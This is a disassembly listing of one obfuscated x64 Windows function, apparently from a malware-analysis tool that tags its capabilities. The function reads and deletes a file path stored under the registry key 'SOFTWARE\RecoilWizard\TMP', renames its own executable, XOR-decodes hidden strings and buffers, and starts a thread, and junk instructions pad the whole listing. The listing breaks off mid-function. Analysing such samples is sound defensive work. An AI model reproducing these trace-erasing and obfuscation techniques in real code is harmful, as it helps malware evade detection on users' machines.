Function at 0x14004adaf
Capabilities:
Delete file
Delete registry value
Move file
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
cwde
movsxd rax, r11d
mov qword [rsp + 0x10], rsi
mov al, 0x28
mov qword [rsp + 0x18], rdi
push rbp
cmovp ebp, esp
jmp 0x14004aded
push r12
movzx rbp, bx
nop
push r13
movsx rbp, di
movsx eax, r13w
push r14
movzx rax, bp
bswap ebp
push r15
cdqe
jmp 0x14004ae10
lea rbp, [rsp - 0x2cc0]
cbw
lahf
movsx eax, r9w
mov eax, 0x2dc0
call fcn.140021b00
sub rsp, rax
mov r9w, bp
mov rax, qword [0x14002b010]
xor rax, rsp
mov qword [rbp + 0x2cb0], rax
cdq
lea rax, [rbp + 0x2820]
shld r9d, r12d, 0xd7
mov qword [rsp + 0x20], rax
add r9b, cl
bt dx, 0x6b
and r9b, r14b
mov r9d, 0x20019
xor r8d, r8d
setle dl
movzx rcx, bx
movsxd rdx, r8d
lea rdx, str.SOFTWARERecoilWizardTMP
movsx cx, sil
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r13d, r13d
inc r14w
lea r14, [r13 - 1]
test spl, r11b
test eax, eax
jne 0x14004b088
mov dword [rbp + 0x288c], 0x208
rol al, 0x8a
ror cx, 0xb6
lea rax, [rbp + 0x288c]
cdq
xor rdx, rdx
btc cx, si
mov qword [rsp + 0x28], rax
add dl, 0xbc
lea rax, [rbp + 0x2aa0]
mov qword [rsp + 0x20], rax
bsr dx, r13w
xor r9d, r9d
movzx ecx, di
rol ch, cl
btc cx, r9w
sub r8d, r8d
lea rdx, str.TMPD
movzx ecx, r8w
movsx cx, r14b
mov rcx, qword [rbp + 0x2820]
jmp 0x14004af05
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jmp 0x14004af12
jne 0x14004b058
mov qword [rbp + 0x28b0], r13
jmp 0x14004af28
mov qword [rbp + 0x28c0], r13
dec ax
cwde
cdqe
mov qword [rbp + 0x28c8], 7
mov al, 0xd
cdqe
movsx r8d, r11w
lea rax, [rbp + 0x2aa0]
mov r8, r14
jmp 0x14004af57
nop dword [rax]
jmp 0x14004af5f
inc r8
cmc
cmp word [rax + r8*2], 0
jmp 0x14004af6e
jne 0x14004af5f
lea rdx, [rbp + 0x2aa0]
lea rcx, [rbp + 0x28b0]
call fcn.14001dba0
lea rcx, [rbp + 0x28b0]
cmp qword [rbp + 0x28c8], 8
jmp 0x14004af9b
cmovae rcx, qword [rbp + 0x28b0]
jmp 0x14004afa8
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0x28c8]
jmp 0x14004afba
cmp rdx, 8
jb 0x14004b02e
lea rdx, [rdx*2 + 2]
sbb rax, 0x6d4804dd
mov rcx, qword [rbp + 0x28b0]
mov rax, rcx
cmp ebx, esp
cmp r12d, 0x49de7a7d
test dil, 0x70
cmp rdx, 0x1000
jmp 0x14004aff6
jb 0x14004b029
add rdx, 0x27
test ch, 0xb4
mov rcx, qword [rcx - 8]
sub rax, rcx
jmp 0x14004b011
add rax, 0xfffffffffffffff8
stc
test r10b, bl
cmc
cmp rax, 0x1f
jmp 0x14004b023
ja 0x14004f305
call fcn.140020c34
mov qword [rbp + 0x28c0], r13
setge cl
not cx
mov qword [rbp + 0x28c8], 7
movsx ecx, ax
xchg cx, cx
mov word [rbp + 0x28b0], r13w
movsx rcx, si
mov rcx, qword [rbp + 0x2820]
jmp 0x14004b064
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SOFTWARERecoilWizardTMP
mov ecx, 0x79247160
mov rcx, 0xffffffff80000001
jmp 0x14004b082
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
lea rcx, [0x14002be60]
movsxd r8, esi
btc r8, r11
sub edx, edx
movzx r8, ax
btr r8w, 0xfc
xchg r8b, r8b
mov r8, qword [0x14002be70]
cmp bpl, 0xb5
test dil, r13b
cmp qword [0x14002be78], 0x10
jmp 0x14004b0c0
jb 0x14004b0d4
mov rcx, qword [0x14002be60]
shld ax, sp, 0x1a
sal al, cl
movzx eax, byte [rcx]
stc
jmp 0x14004b0e2
xor al, 0x2e
mov byte [rbp + 0x28], al
sbb al, bpl
cmp r15w, r14w
mov eax, 1
div r8
movzx eax, byte [rdx + rcx]
cmc
test r9, 0x8ee7957
cmp cx, 0x205d
xor al, 0x65
mov byte [rbp + 0x29], al
xadd rax, rax
and al, r13b
mov eax, 2
stc
clc
sub edx, edx
div r8
movzx eax, r15w
test rsp, 0x38ae1f92
btr eax, 0xc6
movzx eax, byte [rdx + rcx]
xor al, 0x78
mov byte [rbp + 0x2a], al
xor al, 0x4e
sub eax, 0x6a6f2611
cmp al, 0xd3
sub edx, edx
ror eax, cl
cmc
mov rax, 0x3c5e1c4d
mov eax, 3
test dx, cx
div r8
shr ax, cl
movzx eax, byte [rdx + rcx]
rcr rdx, 0x27
inc dh
xor al, 0x65
cdq
jmp 0x14004b16e
mov byte [rbp + 0x2b], al
bswap dx
setp dh
mov word [rbp + 0x2c], 0x100
mov edx, 0xf
lea rcx, [rbp + 0x90]
jmp 0x14004b18e
call fcn.14000d2c0
mov rbx, rax
lea rdx, [rbp + 0xb0]
movsx ecx, r9w
movsx cx, bpl
movzx ecx, si
lea rcx, [rbp + 0x28]
call fcn.1400151e0
nop
jmp 0x14004b1bb
mov r8, rax
bswap edx
movsxd rcx, r11d
mov rdx, rbx
not cx
lea rcx, [rbp + 0x2960]
call fcn.14001dff0
nop
cmovs dx, r10w
and dl, 0x16
mov rdx, qword [rbp + 0xc8]
stc
cmp rdx, 0x10
jmp 0x14004b1ef
jb 0x14004b257
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp r8b, 0x4b
cmp rdx, 0x1000
jmp 0x14004b212
jb 0x14004b252
add rdx, 0x27
stc
cmc
cmp r9b, r12b
mov rcx, qword [rcx - 8]
cmp r13, rbp
sub rax, rcx
add rax, 0xfffffffffffffff8
test rbp, r13
jmp 0x14004b237
cmp rax, 0x1f
jmp 0x14004b240
jbe 0x14004b252
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020c34
mov qword [rbp + 0xc0], r13
bsr edx, r9d
mov qword [rbp + 0xc8], 0xf
shl edx, cl
sub rdx, rsp
cdq
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jmp 0x14004b28a
jb 0x14004b2eb
inc rdx
movsx ax, r12b
mov rcx, qword [rbp + 0x90]
bts eax, r14d
bts eax, r12d
bsr eax, r10d
mov rax, rcx
stc
cmp rdx, 0x1000
jmp 0x14004b2bb
jb 0x14004b2e6
add rdx, 0x27
clc
cmp r10w, r15w
mov rcx, qword [rcx - 8]
cmp spl, 0x76
cmp r13b, dl
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f268
call fcn.140020c34
mov qword [rbp + 0xa0], r13
ror bx, 0x1e
adc edx, 0x704e405f
mov qword [rbp + 0xa8], 0xf
shld bx, r11w, 0x42
adc r8w, 0x961
ror bl, cl
mov byte [rbp + 0x90], 0
or dl, 0x20
shrd r8, r9, 0x3d
cmc
lea rbx, [rbp + 0x2960]
mov rdx, r15
cmp qword [rbp + 0x2978], 0x10
movzx r8d, bp
cmovae rbx, qword [rbp + 0x2960]
mov r8d, 0x104
lea rdx, [rbp + 0x2990]
clc
sub ecx, ecx
jmp 0x14004b358
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x30], r13
seto ah
mov qword [rbp + 0x40], r13
movzx r8w, r12b
mov qword [rbp + 0x48], 0xf
sets r8b
lea rax, [rbp + 0x2990]
setl r8b
movzx r8w, dil
mov r8, r14
jmp 0x14004b392
nop word [rax + rax]
jmp 0x14004b3a0
inc r8
jmp 0x14004b3a9
cmp byte [rax + r8], 0
jne 0x14004b3a0
lea rdx, [rbp + 0x2990]
movsxd rcx, r15d
not rcx
movsx cx, spl
lea rcx, [rbp + 0x30]
jmp 0x14004b3cf
call fcn.1400157f0
lea rcx, [rbp + 0x30]
shr edx, cl
clc
and dh, 0xbe
cmp qword [rbp + 0x48], 0x10
cwd
cmovae rcx, qword [rbp + 0x30]
mov rdx, rbx
jmp 0x14004b3f2
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jmp 0x14004b405
jb 0x14004b460
inc rdx
not ah
cwde
mov rcx, qword [rbp + 0x30]
add al, r14b
shrd ax, r11w, 0xda
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b45b
add rdx, 0x27
test rbp, r9
mov rcx, qword [rcx - 8]
cmc
sub rax, rcx
cmp r9b, 0x1e
cmc
stc
add rax, 0xfffffffffffffff8
test spl, 0x46
stc
cmp rax, 0x1f
jmp 0x14004b455
ja 0x14004f268
call fcn.140020c34
mov qword [rbp + 0x40], r13
jmp 0x14004b469
mov qword [rbp + 0x48], 0xf
jmp 0x14004b476
mov byte [rbp + 0x30], 0
jmp 0x14004b47f
call fcn.140043c07
mov rax, r13
lea rcx, sym.MZ_vB_C8S_vlPZGoZ_Bd4.R92K_:kzdd__v_B6d3
nop dword [rax + rax]
jmp 0x14004b498
movdqu xmm1, xmmword [rax + rcx + 0x24ca0]
jmp 0x14004b4a6
movdqu xmm0, xmmword [rax + rcx + 0x2b048]
pxor xmm1, xmm0
pxor xmm1, xmmword [0x140024fd0]
movdqu xmmword [rbp + rax + 0x2980], xmm1
add rax, 0x10
cmp r15w, r8w
test r9b, r15b
cmp rax, 0x20
jl 0x14004b498
lea rcx, [0x14002bc60]
xor edx, edx
xchg r8b, r8b
shld r8w, si, 0x84
shl r8d, 0x4d
mov r8, qword [0x14002bc70]
cmp sp, cx
jmp 0x14004b4fe
cmp qword [0x14002bc78], 0x10
jmp 0x14004b50b
jb 0x14004b526
mov rcx, qword [0x14002bc60]
sar al, cl
sbb rax, 0x4ee725d2
shrd rax, r9, 0x4f
movzx eax, byte [rcx]
xor al, 0x67
jmp 0x14004b530
mov byte [rbp], al
bsf rax, r9
cmp esp, 0x7c6a1f6d
mov eax, 1
cmp di, 0x6918
div r8
adc eax, 0x5f7e0aae
cdqe
movzx eax, byte [rdx + rcx]
cmp r9b, bpl
clc
xor al, 0x65
cmp r14b, 0x21
test spl, sil
mov byte [rbp + 1], al
xadd eax, eax
cmovg ax, r8w
btr ax, 0xf0
mov eax, 2
cmp bpl, 2
clc
xor edx, edx
jmp 0x14004b584
div r8
shl ah, 0xf4
and ah, 0xb2
cmp r14w, 0x2a9d
movzx eax, byte [rdx + rcx]
stc
test bpl, 0xd6
xor al, 0x74
jmp 0x14004b5a7
mov byte [rbp + 2], al
mov ah, 0xfe
rcr al, 0xf6
bsf eax, r14d
mov eax, 3
cmc
sub edx, edx
clc
jmp 0x14004b5c2
div r8
btr ax, r14w
bt ax, 0xba
movsxd rax, r11d
movzx eax, byte [rdx + rcx]
xor al, 0x5f
clc
mov byte [rbp + 3], al
mov eax, 4
cmp dh, ch
cmp spl, 0x1d
sub edx, edx
cmp r13b, r15b
div r8
adc al, spl
cmp al, spl
movzx eax, byte [rdx + rcx]
cmc
stc
cmp r13w, di
xor al, 0x66
test r14b, spl
test spl, 0x5e
mov byte [rbp + 4], al
cbw
mov eax, 5
sub edx, edx
div r8
adc eax, 0x68e62e16
sub ax, 0x3f36
movzx eax, byte [rdx + rcx]
jmp 0x14004b62c
xor al, 0x69
mov byte [rbp + 5], al
dec ax
movsx ax, r13b
jmp 0x14004b63e
mov eax, 6
jmp 0x14004b649
sub edx, edx
jmp 0x14004b650
div r8
ror ah, cl
movzx eax, byte [rdx + rcx]
xor al, 0x6e
mov byte [rbp + 6], al
movsx eax, r12w
bsr ax, r8w
sal eax, 0x78
mov eax, 7
cmp ah, ah
jmp 0x14004b676
sub edx, edx
cmc
div r8
movzx eax, byte [rdx + rcx]
xor al, 0x67
jmp 0x14004b68b
mov byte [rbp + 7], al
shld rax, r13, 0x7c
sar rax, 0
mov eax, 8
test r11w, 0x40d1
xor edx, edx
cmp ecx, ecx
cmc
stc
div r8
mov ax, dx
cmovg ax, r10w
movzx eax, byte [rdx + rcx]
cmp ah, 0x27
stc
xor al, 0x65
cmp r13b, 0x9d
mov byte [rbp + 8], al
sbb ax, r14w
rol ax, 0xad
btc ax, 0x9c
mov eax, 9
cmc
stc
cmp bp, 0x6b23
xor edx, edx
cmp r14b, dil
clc
cmp dil, 0x16
div r8
bswap ax
movzx eax, byte [rdx + rcx]
stc
jmp 0x14004b6f7
xor al, 0x72
test ebx, r12d
cmp dx, 0x6b4d
mov byte [rbp + 9], al
mov eax, 0xa
stc
jmp 0x14004b70f
xor edx, edx
cmp r14w, 0x24c7
test r15, rdx
div r8
sal ax, 0xac
movzx eax, byte [rdx + rcx]
stc
test bpl, 0xda
cmc
xor al, 0x70
cmp r8w, 0x4d9b
mov byte [rbp + 0xa], al
rol rax, cl
mov ax, 0x29de
adc eax, 0x3fee03f7
mov eax, 0xb
cmp r12b, r11b
sub edx, edx
clc
cmp cl, r12b
test r11w, cx
div r8
movzx eax, byte [rdx + rcx]
xor al, 0x72
mov byte [rbp + 0xb], al
mov eax, 0xc
sub edx, edx
cmc
div r8
bts rax, rdx
movzx eax, byte [rdx + rcx]
jmp 0x14004b778
xor al, 0x69
cmp r15b, 0x7f
cmp r11w, sp
jmp 0x14004b787
mov byte [rbp + 0xc], al
bsr ax, r12w
movzx rax, bx
mov eax, 0xd
test bp, bx
stc
xor edx, edx
cmp r13, 0x333700d6
cmc
stc
div r8
bswap eax
movzx eax, byte [rdx + rcx]
test r12b, sil
cmp r11b, r9b
xor al, 0x6e
cmc
mov byte [rbp + 0xd], al
bt ax, 0x5a
shl al, 0x82
jmp 0x14004b7c9
sub edx, edx
sub al, 3
shr ax, 0x8f
cmc
mov eax, 0xe
test r12d, ecx
jmp 0x14004b7e0
div r8
jmp 0x14004b7ea
movzx eax, byte [rdx + rcx]
xor al, 0x74
movsx rcx, r11w
mov cx, 0x78c2
mov byte [rbp + 0xe], al
movsx rcx, r10w
mov ch, 0xf9
movzx cx, r13b
mov word [rbp + 0xf], 0x100
movsx rcx, r15w
lea rcx, [rbp]
jmp 0x14004b81a
call fcn.1400198c0
mov qword [rbp + 0x70], r13
movsx rdx, r11w
mov qword [rbp + 0x80], r13
jmp 0x14004b836
mov qword [rbp + 0x88], 0xf
movzx edx, ax
mov byte [rbp + 0x70], 0
cwd
movzx rdx, sp
mov r8d, 0xf
lea rdx, [rbp]
lea rcx, [rbp + 0x70]
jmp 0x14004b861
call fcn.1400157f0
nop
cdq
movsx rcx, si
mov r8w, 0x3b4
lea r8, [rbp + 0x2980]
jmp 0x14004b87f
lea rdx, [rbp + 0x70]
movsx cx, sil
jmp 0x14004b88f
lea rcx, [rbp + 0x2940]
jmp 0x14004b89b
call fcn.140013130
nop
bsr dx, r11w
cwd
mov rdx, qword [rbp + 0x88]
test di, 0x386f
cmp rdx, 0x10
jmp 0x14004b8bd
jb 0x14004b90f
inc rdx
adc ax, cx
not eax
mov rcx, qword [rbp + 0x70]
cwde
movzx eax, r15w
mov rax, rcx
clc
cmp rdx, 0x1000
jb 0x14004b90a
add rdx, 0x27
mov rcx, qword [rcx - 8]
test ax, 0x49e6
jmp 0x14004b8f6
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp bl, bpl
cmp rax, 0x1f
ja 0x14004f1b1
call fcn.140020c34
mov qword [rbp + 0x80], r13
movsx ecx, si
mov qword [rbp + 0x88], 0xf
mov cx, 0x2ed1
movsx rcx, r15w
mov byte [rbp + 0x70], 0
bswap ecx
xchg ch, ch
lea rcx, [rbp + 0xd0]
jmp 0x14004b940
call fcn.14000e050
nop
mov cl, 0xef
mov r8w, ax
movzx cx, r12b
lea r8, [rbp + 0x2980]
mov rdx, rax
movzx rcx, si
lea rcx, [rbp + 0x2920]
jmp 0x14004b96b
call fcn.140013130
nop
add dh, cl
and dl, 0x17
mov rdx, qword [rbp + 0xe8]
clc
test dh, 0xc3
cmp rdx, 0x10
jmp 0x14004b98a
jb 0x14004b9f1
inc rdx
lahf
stc
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
test r14b, 0xe1
stc
cmp rdx, 0x1000
jmp 0x14004b9b0
jb 0x14004b9ec
add rdx, 0x27
clc
mov rcx, qword [rcx - 8]
test r9b, r14b
clc
cmp di, cx
sub rax, rcx
test r8b, 0xc1
jmp 0x14004b9d2
add rax, 0xfffffffffffffff8
clc
cmc
jmp 0x14004b9dd
cmp rax, 0x1f
jmp 0x14004b9e6
ja 0x14004f0f8
call fcn.140020c34
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], 0xf
not cx
movzx cx, sil
mov byte [rbp + 0xd0], 0
movzx cx, al
xchg cl, ch
lea r8, [rbp + 0x2980]
movzx cx, r14b
lea rdx, [rbp + 0x2920]
lea rcx, [rbp + 0x28d0]
call fcn.1400133d0
nop
shr di, cl
bswap di
test bpl, 0x51
mov qword [rbp + 0x2828], r13
test dil, 0xd9
or si, r15w
cmc
mov qword [rbp + 0x2838], r13
rcr dil, 0x70
mov qword [rbp + 0x2840], r13
mov rdi, qword [rbp + 0x28e0]
btr rsi, r14
shr si, 0x68
lea rsi, [rbp + 0x28d0]
cmp qword [rbp + 0x28e8], 0x10
jmp 0x14004ba87
cmovae rsi, qword [rbp + 0x28d0]
cmp rdi, 0x10
jae 0x14004bac2
movups xmm0, xmmword [rsi]
jmp 0x14004baa1
movups xmmword [rbp + 0x2828], xmm0
jmp 0x14004baad
mov qword [rbp + 0x2840], 0xf
jmp 0x14004babd
jmp 0x14004bbe3
movabs rax, 0x7fffffffffffffff
test r14, 0x143e3402
mov qword [rbp + 0xf0], rax
mov rbx, rdi
sal rcx, 0x3a
bt rcx, 0x1a
cmp rcx, 0x4d9979fc
or rbx, 0xf
or cl, spl
mov qword [rbp + 0xf8], rbx
sbb cx, cx
sar ch, 0xbe
cmp rbx, rax
mov cx, 0x2a4b
movzx ecx, r12w
cmovb cx, di
cmova rbx, rax
ror cx, 0x45
mov rcx, rbx
add rcx, 1
jmp 0x14004bb24
cmovb rcx, r14
test r8w, 0x2f47
cmp rcx, 0x1000
jb 0x14004bb8f
lea rax, [rcx + 0x27]
cmp r8w, 0x203f
stc
cmp r15b, sil
cmp rax, rcx
jmp 0x14004bb51
jbe 0x14004f3be
mov rcx, rax
jmp 0x14004bb5f
call fcn.140020bf0
mov rcx, rax
clc
stc
cmp ch, cl
test rax, rax
jmp 0x14004bb73
je 0x14004f04e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14004bb8a
jmp 0x14004bbaa
test rcx, rcx
jmp 0x14004bb97
je 0x14004bba7
call fcn.140020bf0
jmp 0x14004bbaa
mov rax, r13
mov qword [rbp + 0x2828], rax
jmp 0x14004bbb6
lea r8, [rdi + 1]
not cx
xchg cl, dl
mov rdx, rsi
cmovo cx, r12w
setle cl
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x2840], rbx
movsx r8w, r15b
movsx rdx, r9w
cdq
mov qword [rbp + 0x2838], rdi
setp r8b
mov qword [rbp + 0x2848], r13
cwd
movzx r8, r13w
movsxd rcx, edx
mov qword [rbp + 0x2858], r13
mov r8b, bpl
movzx rdx, cx
movsxd rcx, ebp
mov qword [rbp + 0x2860], 0xf
cmovg cx, ax
mov byte [rbp + 0x2848], 0
cqo
mov cx, si
mov r8d, 0x16d
movsxd rcx, r12d
movzx ecx, ax
mov ch, 0x64
lea rdx, [0x140024cc0]
movsxd rcx, r14d
not cx
lea rcx, [rbp + 0x2848]
jmp 0x14004bc52
call fcn.1400157f0
nop
jmp 0x14004bc5d
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2814], 0xffffffff
cwd
bt ecx, 0x8c
mov dword [rbp + 0x1494], eax
movsx cx, ah
add rcx, rbp
jmp 0x14004bc85
mov edx, 1
btc cx, sp
bt cx, bp
nop dword [rax + rax]
cmova ecx, edi
mov ecx, eax
stc
clc
shr ecx, 0x1e
jmp 0x14004bcac
xor ecx, eax
dec eax
imul eax, ecx, 0x6c078965
add eax, edx
jmp 0x14004bcbd
mov dword [rbp + rdx*4 + 0x1494], eax
jmp 0x14004bcc9
inc rdx
cmp rdx, 0x270
jmp 0x14004bcd8
jb 0x14004bc9d
mov dword [rbp + 0x1490], 0x270
lea rcx, [rbp + 0x2848]
mov rdx, qword [rbp + 0x2858]
cmp qword [rbp + 0x2860], 0x10
jmp 0x14004bd03
jb 0x14004bd1d
mov rcx, qword [rbp + 0x2848]
add rdx, rcx
jmp 0x14004bd18
jmp 0x14004bd30
add rdx, rcx
lea rcx, [rbp + 0x2848]
bswap r8w
movsx r8w, r15b
lea r8, [rbp + 0x1490]
jmp 0x14004bd3c
call fcn.14001ee70
lea rdx, [0x14002b068]
movsxd rcx, r13d
bswap cx
lea rcx, [rbp + 0x2868]
call fcn.14001b7d0
nop
jmp 0x14004bd60
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1484], 0xffffffff
mov dword [rbp + 0x104], eax
dec dh
setno dh
mov edx, 1
nop word [rax + rax]
mov ecx, eax
cmp r14b, bpl
test sp, 0x2cac
shr ecx, 0x1e
test r9b, r10b
xor ecx, eax
adc ax, r15w
jmp 0x14004bdab
imul eax, ecx, 0x6c078965
jmp 0x14004bdb6
add eax, edx
mov dword [rbp + rdx*4 + 0x104], eax
inc rdx
jmp 0x14004bdc7
cmp rdx, 0x270
jmp 0x14004bdd3
jb 0x14004bd8b
mov dword [rbp + 0x100], 0x270
jmp 0x14004bded
lea rcx, [rbp + 0x2868]
mov rdx, qword [rbp + 0x2878]
test ah, 0x68
jmp 0x14004be03
cmp qword [rbp + 0x2880], 0x10
jmp 0x14004be10
jb 0x14004be30
mov rcx, qword [rbp + 0x2868]
stc
cmp di, 0x603
add rdx, rcx
jmp 0x14004be2b
jmp 0x14004be4b
add rdx, rcx
movzx ecx, dx
bswap cx
lea rcx, [rbp + 0x2868]
movsx r8d, bp
xchg r8b, r8b
movzx r8d, r10w
lea r8, [rbp + 0x100]
call fcn.14001ee70
lea rdx, [rbp + 0x2848]
cmp r10w, 0x39a
cmc
cmp qword [rbp + 0x2860], 0x10
jmp 0x14004be72
jb 0x14004be97
mov rcx, qword [rbp + 0x2848]
mov rdx, rcx
cmovae r11d, r15d
mov r11w, r9w
mov r11, rcx
jmp 0x14004be92
jmp 0x14004beaf
mov r11, rdx
lea rcx, [rbp + 0x2848]
bts r8d, esi
add r8, 0x7b292ab1
ror r8b, cl
mov rbx, qword [rbp + 0x2858]
lea rbx, [rbx + rcx]
seta r8b
shl r8b, 0x86
mov r8b, r11b
mov r8, qword [rbp + 0x2828]
cmp rdx, rbx
jmp 0x14004bed4
je 0x14004c00f
nop word [rax + rax]
movsx ecx, r13w
lea rcx, [rbp + 0x2828]
cmp qword [rbp + 0x2840], 0x10
jb 0x14004bf15
mov r9, r8
bswap edx
not cl
mov rcx, r8
not dh
mov dh, 0xa7
mov rdx, r8
jmp 0x14004bf10
jmp 0x14004bf27
mov rdx, rcx
lea r9, [rbp + 0x2828]
cmc
cmp rax, 0x4f214a78
add r9, qword [rbp + 0x2838]
stc
cmp rcx, r9
jmp 0x14004bf37
je 0x14004bffa
movsx r10d, byte [r11]
add cl, r11b
lahf
nop word [rax + rax]
sar ecx, 0x79
and cx, 0x2189
xadd ah, al
lea rcx, [rbp + 0x2828]
cmp qword [rbp + 0x2840], 0x10
cmovae rcx, r8
rcl al, 0x96
neg al
bt eax, 0x72
lea rax, [rbp + 0x2868]
stc
cmp qword [rbp + 0x2880], 0x10
cmovae rax, qword [rbp + 0x2868]
cmc
cmp ebp, edi
cmp bp, 0x8c6
sub rax, rcx
clc
jmp 0x14004bf9f
movsx eax, byte [rax + rdx]
stc
jmp 0x14004bfa9
and eax, 0x800000ff
jmp 0x14004bfb3
jge 0x14004bfd9
dec eax
shr r8w, cl
shr r8d, 0x7b
or eax, 0xffffff00
movsx r8, dx
movsx r8d, si
inc eax
rol r8, 0x88
ror r8b, cl
xor al, r10b
xor byte [rdx], al
bswap r8w
cmovp r8w, r9w
inc rdx
mov r8, qword [rbp + 0x2828]
cmp rdx, r9
jne 0x14004bf5a
inc r11
stc
cmp r10d, esi
cmp r11, rbx
jmp 0x14004c009
jne 0x14004bee4
lea rcx, [rbp + 0x2828]
jmp 0x14004c022
cmp qword [rbp + 0x2840], 0x10
jmp 0x14004c02f
jb 0x14004c048
mov r9, r8
mov rcx, r8
mov rdx, r8
jmp 0x14004c043
jmp 0x14004c058
mov rdx, rcx
cmp bh, 0x17
adc r9d, ebp
lea r9, [rbp + 0x2828]
add r9, qword [rbp + 0x2838]
test r12b, r14b
cmp r11d, 0x424524e3
cmp r13w, sp
cmp rcx, r9
jmp 0x14004c075
je 0x14004c13f
nop dword [rax]
nop word [rax + rax]
movzx ecx, r14w
shld ax, sp, 0xbd
shr ecx, 0x42
lea rcx, [rbp + 0x2828]
cmp qword [rbp + 0x2840], 0x10
setl ah
movzx eax, r14w
lahf
cmovae rcx, r8
lea rax, [rbp + 0x2868]
cmp cx, 0x6eb0
clc
cmp qword [rbp + 0x2880], 0x10
jmp 0x14004c0c9
cmovae rax, qword [rbp + 0x2868]
cmp cx, 0x3d12
test edi, r9d
clc
sub rax, rcx
movsx ecx, byte [rax + rdx]
cmc
cmp bp, 0x111
and ecx, 0x800000ff
jmp 0x14004c0f2
jge 0x14004c118
dec ecx
test cx, r14w
or ecx, 0xffffff00
not r8b
movsx r8w, dil
movsx r8d, dx
inc ecx
sal r8d, cl
adc r8b, r13b
xor cl, byte [rdx]
xor cl, 0x44
mov r8w, 0x78ae
mov byte [rdx], cl
inc rdx
btr r8w, r13w
movsxd r8, r12d
mov r8, qword [rbp + 0x2828]
cmp rdx, r9
jne 0x14004c094
lea rcx, [rbp + 0x2828]
cmp qword [rbp + 0x2840], 0x10
cmovae rcx, r8
jmp 0x14004c157
call fcn.14004a8ac
call fcn.140043c07
xor ecx, ecx
jmp 0x14004c168
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
jmp 0x14004c176
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rbp + 0x28a8], r13
bswap rcx
jmp 0x14004c18e
mov ecx, 8
jmp 0x14004c198
call fcn.140020bf0
lea rcx, [0x1400115e0]
clc
bt r9, 0xa8
inc r9b
mov qword [rax], rcx
cmc
sub cx, di
shrd r8w, bp, 0x72
mov qword [rbp + 0x28a8], rax
cmovl r8d, r13d
test r8d, ecx
rcl r9b, cl
lea rcx, [rbp + 0x28f8]
mov qword [rsp + 0x28], rcx
test r15b, r15b
mov dword [rsp + 0x20], r13d
bswap r9
mov r9, rax
rcl r8b, 0xc3
lea r8, [0x140005730]
xor edx, edx
xor ecx, ecx
jmp 0x14004c1f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x28f0], rax
test cx, ax
test rax, rax
jmp 0x14004c211
je 0x14004f3a1
mov qword [rbp + 0x28a8], r13
lea rax, [rsp + 0x30]
btr rsi, r8
or rdi, 0x60a91c79
mov edi, 1
bts rcx, r14
sub rdi, rax
lea rax, [rsp + 0x30]
cmp rax, rax
movzx r8, bx
mov esi, 2
btc ecx, ebx
sub rsi, rax
lea rax, [rsp + 0x30]
btr bx, 0x9e
sbb r8w, r14w
rcl r15b, cl
mov r14d, 3
sub r14, rax
or r8w, 0x7535
lea rax, [rsp + 0x30]
movsxd rcx, eax
shl r12, 0x8c
mov r15d, 4
cmovns ecx, r12d
shr r12b, 0xb2
sub r15, rax
and r12d, 0x544e638a
sar r12b, 0xba
lea r12, [0x14002bea0]
and cl, 1
not cx
lea r8, [0x14002bc88]
mov rbx, qword [0x140024220]
btr cx, r8w
xor edx, edx
mov rcx, qword [0x14002bc98]
test dil, 0xf1
cmp qword [0x14002bca0], 0x10
jmp 0x14004c2d3
jb 0x14004c2e8
mov r8, qword [0x14002bc88]
jmp 0x14004c2e8
movzx eax, byte [r8]
clc
jmp 0x14004c2f5
xor al, 0x52
mov byte [rbp - 0x18], al
mov rax, rcx
mov eax, 1
test r8, 0x7b11540b
test bpl, r15b
div rcx
bts eax, edi
shrd ax, bp, 0x97
movzx eax, byte [rdx + r8]
cmc
cmp dil, 0x78
xor al, 0x65
mov byte [rbp - 0x17], al
mov eax, 2
sub edx, edx
test bpl, 0x40
div rcx
movzx eax, byte [rdx + r8]
xor al, 0x63
cmp di, r11w
cmp r10w, 0x4454
test r9b, dl
mov byte [rbp - 0x16], al
add al, r10b
mov eax, 3
cmp bh, 0xb1
sub edx, edx
div rcx
inc rax
setge ah
sbb eax, esp
movzx eax, byte [rdx + r8]
test rdi, rbp
xor al, 0x6f
test al, cl
cmp ch, dl
mov byte [rbp - 0x15], al
cbw
cmovno eax, r11d
mov eax, 4
cmp ax, 0x650a
xor edx, edx
div rcx
sar rax, cl
nop
movzx eax, byte [rdx + r8]
cmc
test ah, 0x44
cmp al, bpl
xor al, 0x69
test dh, 0x7c
cmp r9w, bx
mov byte [rbp - 0x14], al
mov eax, 5
xor edx, edx
test r13w, 0x2225
div rcx
movzx eax, byte [rdx + r8]
cmp bpl, 0x79
xor al, 0x6c
cmc
mov byte [rbp - 0x13], al
sbb ah, bh
mov eax, 6
